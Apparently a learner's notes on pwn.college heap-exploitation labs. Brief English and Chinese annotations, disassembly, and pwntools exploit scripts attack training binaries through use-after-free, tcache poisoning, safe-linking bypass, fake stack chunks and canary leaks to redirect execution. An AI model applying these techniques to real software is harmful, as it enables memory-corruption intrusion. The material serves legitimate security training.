pwn.college-pro sec-_Dynamic Allocator Misuse

Welcome to back

Dynamic Allocator Misuse

Use After Free

Freebie (Easy)

all right

read_flag=malloc(292)

flag will be read in flag_buffer

bin #17=281 - 296

we can malloc 293 and free

the *ptr is saved

then, read_flag and puts

Freebie (Hard)

rbp-0xa0 is 0x102 = 258

Freebin Feint (Easy)

create and exploit?

the same as freebie

Freebin Feint (Hard)

pwndbg> x/s 0x2008

0x2008: “/flag”

It takes the Flag content every 4 bytes for XOR

Size = (rand() (mod 872)) + 128

can send ‘int’

+\n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
In [7]: from pwn import *
...: i=1
...: def cyc():
...:
...: size = 16*i
...: p.sendafter(b'[*] Function (malloc/free/puts/read_flag/quit):',b'malloc\n')
...: p.sendline(str(size).encode())
...: p.sendafter(b'[*] Function (malloc/free/puts/read_flag/quit):',b'free\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/read_flag/quit):',b'read_flag\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/read_flag/quit):',b'puts\n')
...:
...: #p=process(b'/challenge/freebin-feint-hard')
...: while True:
...: p = process('/challenge/freebin-feint-hard')
...: out = b''
...: cyc()
...: i+=1
...: out = p.recvall(1)
...: if b"pwn." in out:
...: print(out)
...: break
...:
...: p.close()

Free Flag Fumble (Easy)

This challenge can manage up to 16 unique allocations.

In this challenge, the flag buffer is allocated 2 times before it is used.

wow

Free Flag Fumble (Hard)

0x000000000000138e <+197>: mov QWORD PTR [rbp-0x118],0x264

Metadata Mischief

Fickle Free (Easy)

we fail to double free

wow

we can utilize scanf to corrupt “key”-metadata

Fickle Free (Hard)

0x0000000000001397 <+174>: mov QWORD PTR [rbp-0x98],0x0

0x00000000000013a2 <+185>: mov QWORD PTR [rbp-0xa0],0x131

Malloc Mirage (Easy)

Apply the TCACHE metadata in an unintended manner to set a value

???

test rax !=0

rax = rbp - 0x130

if rax!=0 ; puts flag

write 16 8byte ‘0’ cyclically at read_flag-malloc

store pointer to rbp - 0x130

地址偏移 内容 备注
<font style="color:rgb(68, 71, 70);">rbp-0x18</font> Stack Canary 保护栈帧
<font style="color:rgb(68, 71, 70);">rbp-0xa0</font> User Input Buffer 存储命令字符串
<font style="color:rgb(68, 71, 70);">rbp-0x120</font> <font style="color:rgb(68, 71, 70);">void *ptr_array[16]</font> 存储用户 malloc 的指针
<font style="color:rgb(68, 71, 70);">rbp-0x130</font> <font style="color:rgb(68, 71, 70);">void *secret_ptr</font> 存储 flag 堆块指针

we could malloc 1,2 and free 1,2

read_flag and free

make the *next is not NULL

Malloc Mirage (Hard)

0x000000000000138f <+198>: mov QWORD PTR [rbp-0x128],0x310

0x310=784

Seeking Secrets (Easy)

leak secret??

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
In [2]: from pwn import *
...: i=1
...: def cyc():
...:
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 1\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 2\n 88\n')
...:
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'free\n 1\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'free\n 2\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'scanf\n 2\n ')
...: p.sendline(p64(0x423266))
...: #p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'puts\n')
...:
...: #p=process(b'/challenge/freebin-feint-hard')
...: p = process('/challenge/seeking-secrets-easy')
...: #out = b''
...: cyc()
...: p.interactive()

good

Seeking Secrets (Hard)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/s 0x42a03b
0x42a03b <secret+41019>: ""

In [1]: from pwn import *
...: i=1
...: def cyc():
...:
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 1\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 2\n 88\n')
...:
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'free\n 1\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'free\n 2\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'scanf\n 2\n ')
...: p.sendline(p64(0x42a03b))
...: #p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'puts\n')
...:
...: #p=process(b'/challenge/freebin-feint-hard')
...: p = process('/challenge/seeking-secrets-hard')
...: #out = b''
...: cyc()
...: p.interactive()

Seeking Substantial Secrets (Easy)

there is ‘\00’ in secret

we can utilize scanf to move secret

send(16*b’0’)

Seeking Substantial Secrets (Hard)

0x0000000000401be3 <+1345>: lea rsi,[rip+0x25467] # 0x427051 <secret+28753>

Seeking Spanless Secrets (Easy)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
In [1]: from pwn import *
...: secret1 =18*b'k'
...: secret =16*b'k'
...: def cyc():
...:
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 1\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 2\n 88\n')
...:
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'free\n 1\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'free\n 2\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'scanf\n 2\n ')
...: p.sendline(p64(0x424308))
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 1\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 2\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'scanf\n 2\n')
...: p.sendline(secret1)
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'send_flag\n ')
...: p.sendline(secret)
...: #p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'send_flag')
...: #p.send(secret)
...: #p=process(b'/challenge/freebin-feint-hard')
...: p = process('/challenge/seeking-spanless-secrets-easy')
...: #out = b''
...: cyc()
...: p.interactive()

Seeking Spanless Secrets (Hard)

0x0000000000401be3 <+1345>: lea rsi,[rip+0x29620] # 0x42b20a <secret+45578>

Seeking Smuggled Secrets (Easy)

The challenge mentions: “If you attempt to malloc an address near where the secret is stored, it will be discarded.”

_Obviously, _when you free a chunk and it goes into the tcache (Thread Local Cache), the allocator writes two pieces of metadata into the chunk’s user data area:

  1. **next**: A pointer to the next free chunk in the tcache bin.
  2. **key**: A 64-bit value used to detect Double Free vulnerabilities.
Action What happens to the key?
**<font style="color:rgb(68, 71, 70);">malloc</font>** The chunk is removed from the tcache. The allocator zeros out the <font style="color:rgb(68, 71, 70);">key</font>field (and the <font style="color:rgb(68, 71, 70);">next</font>pointer) before handing the memory to you. This ensures that your “fresh” memory doesn’t contain sensitive heap pointers.
**<font style="color:rgb(68, 71, 70);">free</font>** The allocator checks if the chunk is already in the tcache using the <font style="color:rgb(68, 71, 70);">key</font>. If not, it stores the address of the <font style="color:rgb(68, 71, 70);">tcache_perthread_struct</font>into the <font style="color:rgb(68, 71, 70);">key</font>field of the chunk.

The **next** pointer is at the start of the chunk.

The **key** pointer is 8 bytes after the start.

Utilizing the zeros out in malloc to reset secret.

In <font style="color:rgb(31, 31, 31);">glibc</font> heap management, memory is typically aligned to 16 bytes****.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
In [9]: from pwn import *
...: addr = 0x427140
...: secret =16*b'\00'
...: def cyc():
...:
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 1\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 2\n 88\n')
...:
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'free\n 1\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'free\n 2\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'scanf\n 2\n ')
...: p.sendline(p64(addr))
...: print(p64(addr))
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 1\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 2\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 3\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 4\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'free\n 3\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'free\n 4\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'scanf\n 4\n ')
...: p.sendline(p64(addr-0x8))
...: print(p64(addr-0x8))
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 3\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 4\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'send_flag\n ')
...: p.sendline(secret)
...: #p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'send_flag')
...: #p.send(secret)
...: #p=process(b'/challenge/freebin-feint-hard')
...: p = process('/challenge/seeking-smuggled-secrets-easy')
...: #out = b''
...: cyc()
...: p.interactive()

Seeking Smuggled Secrets (Hard)

0x0000000000401c4b <+1449>: lea rsi,[rip+0x20e16] # 0x422a68 <secret+10856>

Heap Hijinx

Sus Sequence (Easy)

The challenge mentions: “

[LEAK] The local stack address of your allocations is at: 0x7ffc2d8018f0.

[LEAK] The address of main is at: 0x60315757bafd.

Two critical pieces of information:

  • Stack Leak ( _0x7ffc2d8018f0 _): This tells you exactly where your allocations array (the list of pointers) is stored in memory. If you can overwrite a pointer here or a return address nearby, you can redirect the program’s execution.
  • Main Leak ( _0x60315757bafd _): This helps you bypass ASLR (Address Space Layout Randomization). By knowing where main is, you can calculate the location of other functions, like a win() function or the system() function in the C library.

Find win funtion

win_addr = (main_leak - 0x1afd) + 0x1a00

This is the start of allocations array (rbp - 0x110)

ret_addr = stack_leak + 0x110 +0x8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
In [3]: from pwn import *
...: addr = 0x422a68
...: secret =16*b'\00'
...: def cyc():
...: p.recvuntil(b"[LEAK] The local stack address of your allocations is at: ")
...: alloc_stack = p.recv(14)
...: alloc_stack = int(alloc_stack, 16)
...: p.recvuntil(b"[LEAK] The address of main is at: ")
...: main_addr = p.recv(14)
...: main_addr = int(main_addr, 16)
...: ret_addr = alloc_stack + 0x118
...: win_addr = main_addr - 0x1afd + 0x1a00
...: print(hex(ret_addr))
...: print(hex(win_addr))
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 1\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 2\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'free\n 1\n ')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'free\n 2\n ')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'scanf\n 2\n ')
...: p.sendline(p64(ret_addr))
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 1\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 2\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'scanf\n 2\n ')
...: p.sendline(p64(win_addr))
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'q\n ')
...:
...: p = process('/challenge/sus-sequence-easy')
...: #out = b''
...: cyc()
...: p.interactive()

Sus Sequence (Hard)

Echo Emanations (Easy)

wow

echo: Takes an index and a “length.” It calculates a new address (pointer + length) and passes it to a specialized echo function.

This function is a wrapper for the system call execve. It behaves as follows:

  • It mallocs a new 0x20 byte chunk.
  • It builds an argv array (arguments for a program) inside that chunk:
    • argv[0]: Points to the string /bin/echo (stored at bin_echo).
    • argv[1]: Points to the string Data:.
    • argv[2]: Points to the address calculated in main (user_ptr + user_length).
    • argv[3]: NULL.
  • It then forks. The child process runs execve("/bin/echo", argv, NULL), which effectively prints the data located at user_ptr + user_length.

IDA

what’s execve?



Return to assembly

The “echo” funtion malloc 0x20 at start

we can free a 0x20-chunk before call echo, the chunk-A will be allocted to echo funtion

When call echo 0 0, the echo function does its own internal malloc(0x20) (32 bytes). Because of the LIFO rule, the **echo** function is now using **CHUNK_A** to build its **argv** array

The function then writes specific pointers into CHUNK_A:

  • At **CHUNK_A + 0**: It writes the address of the string **"/bin/echo"**.
  • At **CHUNK_A + 8**: It writes the address of the string **"Data:"** (which is on the stack).

According to the assembly, argv[2] (the second thing /bin/echo will print) is calculated as arg1 + arg2.

  • You passed arg1 = allocations[0] (which is the address of CHUNK_A).
  • You passed arg2 = 0.
  • Therefore, argv[2] points to **the start of ****CHUNK_A**.

What is at the start of CHUNK_A?

The memory address of the string **"/bin/echo"** itself.

0x0000000000001b00 win


0x1c20 <+35>: mov DWORD PTR [rbp-0xe],0x61746144 ; “Data”

0x1c27 <+42>: mov WORD PTR [rbp-0xa],0x3a ; “:”

rbp - 0xe is “Data”=v4

We can get echo funtion’s rbp

What’s main_ret?

Get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
In [4]: from pwn import *
...: addr = 0x422a68
...: def cyc():
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 0\n 30\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'free\n0\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'echo\n 0\n 0\n')
...: p.recvuntil(b"Data: ")
...: base_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x33f8
...: win_addr = base_addr +0x1b00
...: print(hex(win_addr))
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'echo\n 0\n 8\n')
...: p.recvuntil(b"Data: ")
...: main_ret_addr = u64(p.recv(6).ljust(8,b"\x00")) + 0x16e + 0x8
...: print(hex(main_ret_addr))
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 1\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 2\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'free\n 1\n ')
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'free\n 2\n ')
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'scanf\n 2\n ')
...: p.sendline(p64(main_ret_addr))
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 1\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 2\n 88\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'scanf\n 2\n ')
...: p.sendline(p64(win_addr))
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'q\n ')
...:
...: p = process('/challenge/echo-emanations-easy')
...: #out = b''
...: cyc()
...: p.interactive()

Echo Emanations (Hard)

Stack Spoofing (Easy)

The stack_free:

It calculates (rbp - 0x90) + 0x40, which is **rbp - 0x50**.

It then calls **free()**** on that stack address**. Under normal circumstances, this would crash the program. You must set up a “fake chunk” metadata header for this to succeed.

The stack_scanf:

It write data to rbp - 0x90

The stack_free target is at rbp - 0x50, you can use this command to write the “Fake Size” (0x81) at the correct offset to satisfy the heap allocator’s checks.

The stack_malloc_win:

  • This is the final test. It requests a 0x70 byte chunk.
  • If your “Stack Spoofing” worked, the Tcache will return the stack address **rbp - 0x50**.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
In [1]: from pwn import *
...: offset = 0x90-0x58
...: def cyc():
...: #p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 0\n 30\n')
...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"stack_scanf")
...:
...: p.sendline(b"k"*offset +p64(0x41))
...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"stack_free")
...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"stack_malloc_win")
...: #p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"q")
...: p = process('/challenge/stack-spoofing-hard')
...: #out = b''
...: cyc()
...: p.interactive()

Stack Spoofing (Hard)

malloc 0x35

Stack Summoning (Easy)

Leak secret ?

We can overwrite secret or puts it

Make secret and stored to rbp - 0xad

stack_scanf funtion, scanf at rbp - 0x150

We can utilize it to make fake chunk

The stack_free will free rbp - 0x110

Free, malloc and scanf

Then, puts or overwrite the secret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
In [7]: from pwn import *
...: offset = 0x150 - (0x110 +0x8)
...: def cyc():
...: #p.sendafter(b'[*] Function (malloc/free/echo/scanf/quit):',b'malloc\n 0\n 30\n')
...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"stack_scanf")
...:
...: p.sendline(b"k"*offset +p64(0x91))
...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"stack_free")
...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"malloc \n 0 \n128\n")
...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"scanf \n 0")
...: p.sendline(b"k"*(0x63+0x10))
...: p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"send_flag\n")
...: p.sendline(b'k'*0x10)
...: #p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/stack_malloc_win/quit): ", b"q")
...: p = process('/challenge/stack-summoning-easy')
...: #out = b''
...: cyc()
...: p.interactive()

Stack Summoning (Hard)

Secret is at rbp - 0xa6

Free rbp - 0x1a0 + 0x40 = rbp - 0x160

Stack_scanf at rbp - 0x1a0

Enterprising Echo (Easy)

The echo function come back

Malloc 0x20 at start

argv array

Same as the echo emanations

We can utilize echo funtion to leak canary

Canary is at rbp - 0x8

If b’\x00’ in canary , we can’t recv(7),try again

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
In [8]: from pwn import *
...: offset = 0x90-0x58
...: offset1 = b'73' #0x50 - 0x8 +0x1
...: def cyc():
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit):',b'malloc\n 0\n 30\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit):',b'free\n0\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit):',b'echo\n 0\n 0\n')
...: p.recvuntil(b"Data: ")
...: base_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x33f8
...: win_addr = base_addr +0x1a22
...: print(hex(win_addr))
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit):',b'stack_scanf\n ')
...: p.sendline(b'k'*offset +p64(0x21))
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit):',b'stack_free\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit):',b'malloc\n0\n17\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit):',b'echo\n 0\n 73\n')
...: #pause()
...: #p.sendline(offset1)
...: out=p.recvuntil(b"Data: ")
...: canary_body = p.recv(7)
...: canary = b'\x00' + canary_body
...: print(hex(u64(canary)))
...: print(out.decode())
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit):',b'stack_scanf\n ')
...: p.sendline(b'k'*offset +p64(0x91))
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit):',b'stack_free\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit):',b'malloc\n0\n128\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit):',b'scanf\n0\n')
...: p.sendline(b'k'*0x48 +canary +p64(0xdeadbeef) + p64(win_addr))
...:
...: p.sendafter(b'[*] Function (malloc/free/echo/scanf/stack_free/stack_scanf/quit):',b'q\n ')
...:
...: p = process('/challenge/enterprising-echo-easy')
...: #out = b''
...: cyc()
...: p.interactive()

Enterprising Echo (Hard)

There is b’\09’ in win_addr

We can use 0x141d

Ephemeral Echo (Easy)

Ok, we haven’t stack_ funtions

The free will make the allocations[0] = 0

Fault to leak

Another way :

The chunk is side by side, so we can malloc and then echo to leak (the head of chunk is 16bytes)

The argv[0] is at 0x33f8

The argv[1] is at echo’s rbp - 0xe

Good

The offset_win is 0x1b00

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
In [3]: from pwn import *
...: addr = 0x422a68
...: def cyc():
...: p.sendafter(b'[*] Function (malloc/free/echo/read/quit):',b'malloc\n 0\n 30\n')
...: #p.sendafter(b'[*] Function (malloc/free/echo/read/quit):',b'free\n0\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/read/quit):',b'echo\n 0\n 48\n')
...: p.recvuntil(b"Data: ")
...: base_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x33f8
...: win_addr = base_addr +0x1b00
...: print(hex(win_addr))
...: p.sendafter(b'[*] Function (malloc/free/echo/read/quit):',b'echo\n 0\n 56\n')
...: p.recvuntil(b"Data: ")
...: main_ret_addr = u64(p.recv(6).ljust(8,b"\x00")) + 0x16e + 0x8
...: print(hex(main_ret_addr))
...: p.sendafter(b'[*] Function (malloc/free/echo/read/quit):',b'malloc\n 0\n 32\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/read/quit):',b'malloc\n 1\n 32\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/read/quit):',b'malloc\n 2\n 32\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/read/quit):',b'free\n 2\n ')
...: p.sendafter(b'[*] Function (malloc/free/echo/read/quit):',b'free\n 1\n ')
...: p.sendafter(b'[*] Function (malloc/free/echo/read/quit):',b'read\n 0\n 60\n')
...: p.sendline(b'k'*0x20+p64(0x0)+p64(0x21)+p64(main_ret_addr))
...: p.sendafter(b'[*] Function (malloc/free/echo/read/quit):',b'malloc\n 1\n 32\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/read/quit):',b'malloc\n 2\n 32\n')
...: p.sendafter(b'[*] Function (malloc/free/echo/read/quit):',b'read\n 2\n 8\n')
...: p.sendline(p64(win_addr))
...: #p.sendafter(b'[*] Function (malloc/free/echo/read/quit):',b'q\n ')
...:
...: p = process('/challenge/ephemeral-echo-easy')
...: #out = b''
...: cyc()
...: p.interactive()

Ephemeral Echo (Hard)

0x2110

Same as

offset_win is 0x1400

Subverting Safe-Linking Challenges

Seeking Safe Secrets (Easy)

wow

We have safe-linking in glibc 2.35

To leak or reset secret

no pie

We can malloc at secret.

When malloc , the pointer of entries[bin] will be reset to the pointer at chunk’s *fd

The pointer to NULL can be currputed as secret’s f-8-bytes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
In [1]: from pwn import *
...: secret_addr = 0x43bcd0
...: def cyc():
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 0\n 30\n')
...: #p.recvuntil(b"Data: ")
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'free\n 0\n ')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'puts\n 0\n \n')
...: p.recvuntil(b"Data: ")
...: en_next = u64(p.recvline().strip(b"\n").ljust(8, b"\x00"))
...: print("en_next: ", hex(en_next))
...: heap_base_addr = en_next << 12
...: next_p = (heap_base_addr >> 12)^secret_addr
...: #gdb.attach(p)
...: pause()
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 0\n 30\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 1\n 30\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'free\n 0\n ')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'free\n 1\n ')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'scanf\n 1\n ')
...: p.sendline(p64(next_p))
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 0\n30\n ')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 1\n 30\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'malloc\n 2\n30\n ')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'free\n 2\n ')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/send_flag/quit):',b'puts\n 2\n ')
...: p.recvuntil(b"Data: ")
...: en_secret = u64(p.recv(8))
...: secret = heap_base_addr >> 12 ^ en_secret
...: secret = secret_addr >> 12 ^ secret
...: print("secret:", hex(secret))
...: p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
...: p.sendline(b"send_flag")
...: p.recvuntil(b"Secret: ")
...: p.sendline(p64(secret)+p8(0x0)*8)
...:
...:
...: p = process('/challenge/seeking-safe-secrets-easy')
...: #out = b''
...: cyc()
...: p.interactive()

Seeking Safe Secrets (Hard)

secret is at 0x4292e0

Sus Sequence Safety (Easy)

glibc 2.35

We can utilize scanf to reset the &ret of main

*ptr is at rbp - 0x110

made in nano banana-pro

步骤 指令 目标 (Target) 写入的内容 (What you write)
第一步 <font style="color:rgb(68, 71, 70);">scanf 3</font> <font style="color:rgb(68, 71, 70);">allocations[3]</font>
指向的地址
一个地址值 (<font style="color:rgb(68, 71, 70);">ret_addr</font>
)
第二步 <font style="color:rgb(68, 71, 70);">scanf 0</font> <font style="color:rgb(68, 71, 70);">allocations[0]</font>
指向的地址
逻辑入口点 (<font style="color:rgb(68, 71, 70);">win_addr</font>
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
In [4]: from pwn import *
...: secret_addr = 0x4292e0
...: def cyc():
...: p.recvuntil(b"[LEAK] The local stack address of your allocations is at: ")
...: leak_stack = p.recv(14)
...: leak_stack = int(leak_stack, 16)
...: p.recvuntil(b"[LEAK] The address of main is at: ")
...: main_addr = p.recv(14)
...: main_addr = int(main_addr, 16)
...: ret_addr = leak_stack + 0x118
...: win_addr = main_addr - 0x1b1b + 0x1a00
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 0\n 30\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 1\n 30\n')
...:
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'free\n 0\n ')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'puts\n 0\n \n')
...: p.recvuntil(b"Data: ")
...: en_next = u64(p.recvline().strip(b"\n").ljust(8, b"\x00"))
...: print("en_next: ", hex(en_next))
...: heap_base_addr = en_next << 12
...: next_p = (heap_base_addr >> 12)^leak_stack
...: #gdb.attach(p)
...: pause()
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'free\n 1\n ')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'scanf\n 1\n ')
...: p.sendline(p64(next_p))
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 2\n 30\n')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'malloc\n 3\n30\n ')
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'scanf\n 3\n ')
...: #set *allotion[0] = ret_addr !!!!allocations is the array of pointers
...: p.sendline(p64(ret_addr))
...: p.sendafter(b'[*] Function (malloc/free/puts/scanf/quit):',b'scanf\n 0\n ')
...: p.sendline(p64(win_addr))
...: p.sendline(b'q \n')
...:
...:
...: p = process('/challenge/sus-sequence-safety-easy')
...: #out = b''
...: cyc()
...: p.interactive()

Sus Sequence Safety (Hard)

